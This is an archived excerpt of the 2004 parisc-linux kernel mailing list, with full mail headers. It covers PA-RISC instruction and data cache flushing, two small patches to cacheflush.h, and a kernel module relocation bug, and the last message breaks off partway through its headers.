X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22143

On Sun November 28 2004 15:13, Matthew Wilcox wrote:
> On Sun, Nov 28, 2004 at 09:01:42PM +0000, Joel Soete wrote:
> > 
> > include/asm-parisc/cacheflush.h:
> > [...]
> > #define flush_icache_page(vma,page)   do { 
> > flush_kernel_dcache_page(page_address(page)); 
> > flush_kernel_icache_page(page_address(page)); } while (0)
> > [...]
> 
> I see why this confuses you.  PA-RISC has writeback data caches that
> are non-coherent with the instruction cache.  So it's not enough to
> just flush the icache; if the page has been modified, we need to force
> the data in the dcache back to ram, then remove any existing cache for
> instructions in that page.  Then instruction accesses to that page will
> fetch the correct data from memory and everything will work.
> 
Matt, Joel,
Here is a, perhaps dumb, question from a non-parisc source...

I note Matt's statement: "...then remove any existing cache for
instructions in that page."

Which sounds very reasonable.

Question:
Is the:
> > flush_kernel_icache_page(page_address(page)); 
(or the hardware that receives the command)

smart enough to just mark the page 'invalid' or is it
actually an 'absolute update external storage'?

I ask because both flush commands are written the
same, BUT...
The first should be an 'absolute update external
storage'.
The second should be either just a 'mark
invalid' or 'conditional update external storage'.

Mike

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [id]cache meaning? [Was: [parisc-linux] 2.6.10-rc1-pa11 profile
	data]
Date: Mon, 29 Nov 2004 02:00:42 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20041129020042.GQ29035@parcelfarce.linux.theplanet.co.uk>
References: <20041111075431.GB9768@colo.lackof.org>
	<41AA3CB6.5070407@tiscali.be>
	<20041128211303.GP29035@parcelfarce.linux.theplanet.co.uk>
	<200411281914.14917.mszick@wolfbutter.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623605 11828 80.91.229.3 (22 Nov 2014 02:33:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@wolfbutter.com>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 372 invoked by uid 65534); 29 Nov 2004 02:02:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx045) with SMTP; 29 Nov 2004 03:02:40 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AA1193BE49; Sun, 28 Nov 2004 19:02:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07800-06; Sun, 28 Nov 2004 19:01:11 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E81323BE4C; Sun, 28 Nov 2004 19:00:50 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 805853BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Nov 2004 19:00:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06374-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Nov 2004 19:00:46 -0700 (MST)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id C0C543BE49
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Nov 2004 19:00:45 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CYaqI-0007ol-Ux; Mon, 29 Nov 2004 02:00:43 +0000
Content-Disposition: inline
In-Reply-To: <200411281914.14917.mszick@wolfbutter.com>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22144

On Sun, Nov 28, 2004 at 07:14:14PM -0600, Michael S. Zick wrote:
> Question:
> Is the:
> > > flush_kernel_icache_page(page_address(page)); 
> (or the hardware that receives the command)
> 
> smart enough to just mark the page 'invalid' or is it
> actually an 'absolute update external storage'?

The I-cache is, by definition, read-only, so there's nothing to update
main memory with.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cacheflush: reforamted suggestion
Date: Mon, 29 Nov 2004 09:51:14 +0100
Lines: 152
Approved: news@gmane.org
Message-ID: <418A800300008FDB@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623605 11834 80.91.229.3 (22 Nov 2014 02:33:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30075 invoked by uid 65534); 29 Nov 2004 08:53:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx006) with SMTP; 29 Nov 2004 09:53:39 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5C48C3BE4B; Mon, 29 Nov 2004 01:53:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11740-01; Mon, 29 Nov 2004 01:53:11 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BEF773BE4D; Mon, 29 Nov 2004 01:51:28 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8EBC53BE4B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 01:51:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 10905-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 01:51:19 -0700 (MST)
Original-Received: from mrq-1.tiscalinet.it (unknown [213.205.37.214])
	by free.linux.hp.com (Postfix) with ESMTP id 6D0EA3BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 01:51:18 -0700 (MST)
Original-Received: from mail-1-bnl.tiscali.it (10.39.115.131) by mrq-1.tiscalinet.it
	(7.0.028)
	id 419A12460016D910 for parisc-linux@lists.parisc-linux.org;
	Mon, 29 Nov 2004 09:51:16 +0100
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Mon, 29 Nov 2004 09:51:14 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22145

Hello all,

May I suggest this small patch (just a reformat trying to stay into 80 co=
lumns):
--- cacheflush.h.Orig	2004-11-22 18:00:28.449820293 +0100
+++ cacheflush.h	2004-11-22 18:49:06.925429961 +0100
@@ -10,9 +10,9 @@
 /* Cache flush operations */
 
 #ifdef CONFIG_SMP
-#define flush_cache_mm(mm) flush_cache_all()
+#define flush_cache_mm(mm)		flush_cache_all()
 #else
-#define flush_cache_mm(mm) flush_cache_all_local()
+#define flush_cache_mm(mm)		flush_cache_all_local()
 #endif
 
 #define flush_kernel_dcache_range(start,size) \
@@ -20,18 +20,20 @@
 
 extern void flush_cache_all_local(void);
 
-static inline void cacheflush_h_tmp_function(void *dummy)
+static inline void
+cacheflush_h_tmp_function(void *dummy)
 {
 	flush_cache_all_local();
 }
 
-static inline void flush_cache_all(void)
+static inline void
+flush_cache_all(void)
 {
 	on_each_cpu(cacheflush_h_tmp_function, NULL, 1, 1);
 }
 
-#define flush_cache_vmap(start, end)		flush_cache_all()
-#define flush_cache_vunmap(start, end)		flush_cache_all()
+#define flush_cache_vmap(start, end)	flush_cache_all()
+#define flush_cache_vunmap(start, end)	flush_cache_all()
 
 extern int parisc_cache_flush_threshold;
 void parisc_setup_cache_timing(void);
@@ -56,30 +58,40 @@
 
 extern void flush_dcache_page(struct page *page);
 
-#define flush_dcache_mmap_lock(mapping) \
+#define flush_dcache_mmap_lock(mapping)			\
 	spin_lock_irq(&(mapping)->tree_lock)
-#define flush_dcache_mmap_unlock(mapping) \
+#define flush_dcache_mmap_unlock(mapping)		\
 	spin_unlock_irq(&(mapping)->tree_lock)
 
-#define flush_icache_page(vma,page)	do { flush_kernel_dcache_page(page_a=
ddress(page));
flush_kernel_icache_page(page_address(page)); } while (0)
+#define flush_icache_page(vma,page)				\
+do {								\
+	flush_kernel_dcache_page(page_address(page));		\
+	flush_kernel_icache_page(page_address(page));		\
+} while (0)
 
-#define flush_icache_range(s,e)		do { flush_kernel_dcache_range_asm(s,e)=
;
flush_kernel_icache_range_asm(s,e); } while (0)
+#define flush_icache_range(s,e)					\
+do {								\
+	flush_kernel_dcache_range_asm(s,e);			\
+	flush_kernel_icache_range_asm(s,e);			\
+} while (0)
 
-#define copy_to_user_page(vma, page, vaddr, dst, src, len) \
-do { \
-	flush_cache_page(vma, vaddr); \
-	memcpy(dst, src, len); \
-	flush_kernel_dcache_range_asm((unsigned long)dst, (unsigned long)dst +
len); \
+#define copy_to_user_page(vma, page, vaddr, dst, src, len)	\
+do {								\
+	flush_cache_page(vma, vaddr);				\
+	memcpy(dst, src, len);					\
+	flush_kernel_dcache_range_asm((unsigned long)dst,	\
+				 (unsigned long)dst + len); 	\
 } while (0)
 
-#define copy_from_user_page(vma, page, vaddr, dst, src, len) \
-do { \
-	flush_cache_page(vma, vaddr); \
-	memcpy(dst, src, len); \
+#define copy_from_user_page(vma, page, vaddr, dst, src, len)	\
+do {								\
+	flush_cache_page(vma, vaddr);				\
+	memcpy(dst, src, len);					\
 } while (0)
 
-static inline void flush_cache_range(struct vm_area_struct *vma,
-		unsigned long start, unsigned long end)
+static inline void
+flush_cache_range(struct vm_area_struct *vma, unsigned long start,
+		unsigned long end)
 {
 	int sr3;
 
@@ -99,8 +111,8 @@
 
 /* Simple function to work out if we have an existing address translatio=
n
  * for a user space vma. */
-static inline pte_t *__translation_exists(struct mm_struct *mm,
-					  unsigned long addr)
+static inline pte_t *
+__translation_exists(struct mm_struct *mm, unsigned long addr)
 {
 	pgd_t *pgd =3D pgd_offset(mm, addr);
 	pmd_t *pmd;
@@ -136,7 +148,8 @@
 				  unsigned long vmaddr)
 {
 	/* save the current process space and pgd */
-	unsigned long space =3D mfsp(3), pgd =3D mfctl(25);
+	unsigned long space =3D mfsp(3);
+	unsigned long pgd =3D mfctl(25);
 
 	/* we don't mind taking interrups since they may not
 	 * do anything with user space, but we can't
@@ -178,5 +191,5 @@
 		__flush_cache_page(vma, vmaddr);
 
 }
-#endif
+#endif	/* _PARISC_CACHEFLUSH_H */
=3D=3D=3D=3D=3D=3D=3D=3D=3D><=3D=3D=3D=3D=3D=3D=3D=3D=3D

Cheers,
    Joel


-------------------------------------------------------------------------=
--
Tiscali ADSL GO & Light, 2 mois gratuits, profitez-en...
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cacheflush.h: a smp simplification
Date: Mon, 29 Nov 2004 10:48:31 +0100
Lines: 101
Approved: news@gmane.org
Message-ID: <418A80030000906C@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623606 11835 80.91.229.3 (22 Nov 2014 02:33:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23087 invoked by uid 65534); 29 Nov 2004 09:50:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx011) with SMTP; 29 Nov 2004 10:50:51 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6838F3BE4C; Mon, 29 Nov 2004 02:50:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11740-07; Mon, 29 Nov 2004 02:50:13 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A1A133BE4F; Mon, 29 Nov 2004 02:48:42 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6BB4B3BE4C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 02:48:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 10905-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 02:48:35 -0700 (MST)
Original-Received: from mrq-2.tiscalinet.it (unknown [213.205.37.215])
	by free.linux.hp.com (Postfix) with ESMTP id B6A843BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 02:48:34 -0700 (MST)
Original-Received: from mail-1-bnl.tiscali.it (10.39.115.131) by mrq-2.tiscalinet.it
	(7.0.028)
	id 419A120A00169FB5 for parisc-linux@lists.parisc-linux.org;
	Mon, 29 Nov 2004 10:48:32 +0100
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Mon, 29 Nov 2004 10:48:31 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22146

Hello all,

I would also suggested this code simplification:
--- linux-2.6.10-rc2-bk12-pa18M/include/asm-parisc/cacheflush.h.orig1	200=
4-11-29
09:44:46.940675194 +0100
+++ linux-2.6.10-rc2-bk12-pa18M/include/asm-parisc/cacheflush.h	2004-11-2=
9
09:44:05.702579346 +0100
@@ -9,12 +9,6 @@

 /* Cache flush operations */

-#ifdef CONFIG_SMP
-#define flush_cache_mm(mm)		flush_cache_all()
-#else
-#define flush_cache_mm(mm)		flush_cache_all_local()
-#endif
-
 #define flush_kernel_dcache_range(start,size) \
 	flush_kernel_dcache_range_asm((start), (start)+(size));

@@ -32,6 +26,8 @@
 	on_each_cpu(cacheflush_h_tmp_function, NULL, 1, 1);
 }

+#define flush_cache_mm(mm)		flush_cache_all()
+
 #define flush_cache_vmap(start, end)	flush_cache_all()
 #define flush_cache_vunmap(start, end)	flush_cache_all()
=3D=3D=3D=3D=3D=3D=3D=3D><=3D=3D=3D=3D=3D=3D=3D=3D=3D

acoording to on_each_cpu() def of linux/smp.h it seems to me ok (but I co=
uld
always missed something?)

Joel

PS: another question realted to cacheflush:
in our cache.c we have:
[...]
#ifdef CONFIG_SMP
void
flush_data_cache(void)
{
	on_each_cpu((void (*)(void *))flush_data_cache_local, NULL, 1, 1);
}
void
flush_instruction_cache(void)
{
	on_each_cpu((void (*)(void *))flush_instruction_cache_local, NULL, 1, 1)=
;
}
#endif

void
flush_cache_all_local(void)
{
	flush_instruction_cache_local();
	flush_data_cache_local();
}
EXPORT_SYMBOL(flush_cache_all_local);

[...]
In the same maner as above suggested couldn't we get rid of #ifdef CONFIG=
_SMP
and #endif
and btw define here
void
flush_cache_all(void)
{
	flush_instruction_cache();
	flush_data_cache();
}
EXPORT_SYMBOL(flush_cache_all);

Or why didn't we define 
flush_cache_all(void)
{
        on_each_cpu((void (*)(void *))flush_cache_all_local, NULL, 1, 1);=

}
as the other functions?

Thanks for additional info ;-)


-------------------------------------------------------------------------=
--
Tiscali ADSL GO & Light, 2 mois gratuits, profitez-en...
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel module relocation bug
Date: 29 Nov 2004 09:33:53 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <1101742439.1714.11.camel@mulgrave>
References: <20041127064710.GL9148@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623606 11843 80.91.229.3 (22 Nov 2014 02:33:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:26 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25139 invoked by uid 65534); 29 Nov 2004 15:35:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx027) with SMTP; 29 Nov 2004 16:35:07 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3AA933BE51; Mon, 29 Nov 2004 08:34:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15224-01; Mon, 29 Nov 2004 08:34:17 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 98DC33BE53; Mon, 29 Nov 2004 08:34:09 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C3EB3BE4C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 08:34:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14900-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 08:34:04 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 616013BE4B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 08:34:03 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	iATFXxp16018; Mon, 29 Nov 2004 10:33:59 -0500
In-Reply-To: <20041127064710.GL9148@tausq.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22147

On Sat, 2004-11-27 at 00:47, Randolph Chung wrote:
> currently the kernel module loader does not support long branch stubs.
> using the debian 2.6.8-1 kernel, when loading the ipv6 module, i see:
> 
> legolas[6:43] linux-2.6% sudo modprobe ipv6
> FATAL: Error inserting ipv6 (/lib/modules/2.6.8-1-32-smp/kernel/net/ipv6/ipv6.ko): Invalid module format

This is pretty nasty.  The problem isn't a bad relocation, its that the
relocation target is too far away (i.e. ipv6 is too big).

We get around this in the kernel by using -ffunction-sections so that
the real linker can insert stubs between functions.  However,
calculating how to do that in the in-kernel module loader would not be a
whole lot of fun.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel module relocation bug
Date: 29 Nov 2004 09:32:11 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <1101742338.1714.8.camel@mulgrave>
References: <20041127064710.GL9148@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623606 11844 80.91.229.3 (22 Nov 2014 02:33:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:26 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18736 invoked by uid 65534); 29 Nov 2004 15:33:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx053) with SMTP; 29 Nov 2004 16:33:02 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AA6793BE47; Mon, 29 Nov 2004 08:32:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14900-06; Mon, 29 Nov 2004 08:32:47 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2BF323BE4B; Mon, 29 Nov 2004 08:32:29 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6C59F3BE47
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 08:32:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
